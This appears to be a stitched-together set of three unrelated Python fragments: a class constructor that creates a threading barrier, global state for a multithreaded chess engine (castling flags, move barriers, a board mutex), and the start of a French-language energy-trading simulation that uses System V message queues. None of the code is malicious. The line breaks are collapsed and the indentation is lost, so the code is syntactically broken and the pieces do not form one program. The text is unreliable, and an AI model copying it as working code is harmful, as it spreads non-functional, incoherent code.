def __init__(self, n): self.n = n # when they all call the wait() method, the barrier is awoken self.barrier = threading.Barrier(2)
#castling flags WKmoved = 0 BKmoved = 0 A1moved = 0 H1moved = 0 A8moved = 0 H8moved = 0 #king check variables wkingID = 0 bkingID = 0 #One Barrier is for white's move and one Barrier is for black's move. #Threads synchronize to update the board every move. wm_barrier = threading.Barrier(3) bm_barrier = threading.Barrier(3) #mutex is used to protect access to the boardstate mutex = threading.Lock() #protected states newList = [] #used by movethread / protected by barrier. newList2 = [] #used by spacethread / protected by barrier. boardstate = [] #--------------- #movement functions # these functions are used by the move thread for both black and white pieces # they return a list of possible squares where a piece could be.
import os import sys import time import sysv_ipc from multiprocessing import Process, Manager import multiprocessing import random import threading import concurrent.futures key = 666 maBarrier = threading.Barrier(1) def home(lst): production_home = int(10 * random.random()) energie = 50 wallet = 100000 print("La maison ", str(os.getpid()), "a une capacité de production d'énergie de : ", production_home) while True: energie += production_home if energie > 75: # création de la demande demande = int(energie / 3) m = demande w = wallet data = str(m) + "," + str(w) + "," + str(1) mq.send(str(data).encode(), type=1)